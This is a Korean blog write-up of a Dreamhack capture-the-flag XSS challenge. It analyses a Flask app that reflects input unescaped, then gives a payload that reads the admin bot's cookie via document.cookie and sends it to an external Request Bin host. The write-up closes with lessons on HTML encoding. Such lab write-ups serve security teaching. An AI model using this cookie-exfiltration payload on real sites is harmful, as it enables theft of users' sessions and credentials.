CTF

XSS - 1

whffu0123 2026. 5. 27. 13:11

Write-up: XSS (Dreamhack)

문제 개요

Flask로 작성된 웹 서버에서 XSS 취약점을 이용해 관리자(봇)의 쿠키에 저장된 FLAG를 탈취하는 문제.


엔드포인트 분석

/vuln — 취약점 발생 지점

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param  # 입력값을 그대로 출력 → XSS 발생

사용자 입력을 아무 검증 없이 그대로 HTTP 응답으로 반환한다. <script> 태그를 포함한 입력이 브라우저에서 그대로 실행된다.

/memo — 데이터 수신 저장소

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)
  • render_template() 사용으로 Jinja2가 HTML 엔티티 인코딩을 자동 처리 → XSS 발생하지 않음
  • 대신 GET 파라미터로 받은 값을 서버 전역 변수에 누적 저장
  • 탈취한 쿠키를 서버에 기록하는 용도로 활용 가능

/flag — 공격 트리거

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

POST 요청 시 입력한 param 값과 함께 FLAG 쿠키를 가진 봇이 /vuln을 방문한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def read_url(url, cookie={"name": "name", "value": "value"}):
    driver = webdriver.Chrome(...)
    driver.add_cookie(cookie)   # FLAG 쿠키 주입
    driver.get(url)             # 봇이 /vuln 방문

취약점 분석

엔드포인트 XSS 여부 이유

/vuln 발생 return param — 입력을 날것으로 반환
/memo 안전 render_template() — Jinja2가 엔티티 인코딩 처리

/vuln은 입력값을 HTML 인코딩 없이 그대로 출력하므로, <script> 태그를 포함한 입력이 봇의 브라우저에서 실행된다.


공격 흐름

1. tools.dreamhack.games 에서 Request Bin URL 발급
         → http://srklhga.request.dreamhack.games

2. /flag 에 XSS 페이로드 제출
         → 봇이 FLAG 쿠키를 들고 /vuln 방문

3. /vuln 에서 스크립트 실행
         → document.cookie (FLAG) 를 Request Bin으로 전송

4. Request Bin에서 FLAG 확인

익스플로잇

페이로드

location.href="<a href=http://srklhga.request.dreamhack.games/?memo=>http://srklhga.request.dreamhack.games/?memo=</a>"+document.cookie

동작 원리

  1. 봇이 /vuln?param=<script>...</script> 방문
  2. 스크립트 실행 → document.cookie 로 FLAG 쿠키 읽기
  3. location.href 로 Request Bin에 GET 요청 전송
  4. Request Bin 접속 기록에서 FLAG 확인

제출 위치

http://host8.dreamhack.games:14710/flag
→ param 입력창에 페이로드 입력 후 제출

FLAG

Dreamhack.tools 에서 flag 확인

 


핵심 교훈

  • 사용자 입력을 render_template() 없이 직접 반환하면 XSS가 발생한다
  • 봇(헤드리스 브라우저)을 통해 관리자 권한의 쿠키를 탈취할 수 있다
  • document.cookie + location.href 조합으로 쿠키를 외부 서버로 유출할 수 있다
  • 입력값은 반드시 HTML 엔티티 인코딩 후 출력해야 한다

'CTF' 카테고리의 다른 글

Mango  (0) 2026.06.01
Simple SQLi  (0) 2026.05.29
CSRF - 2  (0) 2026.05.27
CSRF - 1  (0) 2026.05.27
XSS - 2  (0) 2026.05.27